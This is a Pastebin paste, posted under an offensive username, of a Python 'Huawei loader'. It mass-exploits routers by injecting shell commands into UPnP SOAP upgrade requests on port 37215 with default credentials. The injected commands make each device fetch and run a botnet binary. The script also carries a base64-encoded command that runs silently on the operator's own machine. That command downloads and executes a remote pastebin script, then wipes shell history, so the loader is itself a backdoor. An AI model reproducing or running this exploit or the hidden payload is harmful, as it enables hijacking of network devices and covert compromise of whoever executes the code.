mirainigga

huawei loader python

Jul 29th, 2018
489
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, re, os, struct, array, requests, base64, subprocess
  3. from threading import Thread
  4. from time import sleep
  5. import requests
  6. from requests.auth import HTTPDigestAuth
  7. from decimal import *
  8. ips = open(sys.argv[1], "r").readlines()
  9. cmd1 = "/bin/busybox wget -g servip -l /tmp/yakuza -r /yakuza"
  10. cmd2 = "chmod 777 /tmp/elf;/tmp/yakuza; rm -rf /tmp/yakuza"
  11. payload1 = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd1 + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
  12. payload2 = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd2 + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
  13. class rtek(threading.Thread):
  14. def __init__ (self, ip):
  15. threading.Thread.__init__(self)
  16. self.ip = str(ip).rstrip('\n')
  17. def run(self):
  18. try:
  19. print "[Huawei] Loading - " + self.ip
  20. url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
  21. requests.post(url, timeout=3, data=payload1, auth=HTTPDigestAuth('dslf-config', 'admin'))
  22. requests.post(url, timeout=2.5, data=payload2, auth=HTTPDigestAuth('dslf-config', 'admin'))
  23. except Exception as e:
  24. pass
  25. def login(cmd):
  26. subprocess.call(cmd, shell=True)
  27. telpload = "Y2QgL3RtcDsgd2dldCBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTHE5UDlDZzUgLU8gYSA+IC9kZXYvbnVsbCAyPiYxOyBjaG1vZCA3NzcgYTsgc2ggYSA+IC9kZXYvbnVsbCAyPiYxOyBybSAtcmYgYTsgaGlzdG9yeSAtYzsgY2xlYXI7"
  28. huaweiz = str(base64.b64decode(telpload))
  29. login(huaweiz)
  30.  
  31. for ip in ips:
  32. try:
  33. n = rtek(ip)
  34. n.start()
  35. time.sleep(0.03)
  36. except:
  37. pass
Add Comment
Please, Sign In to add comment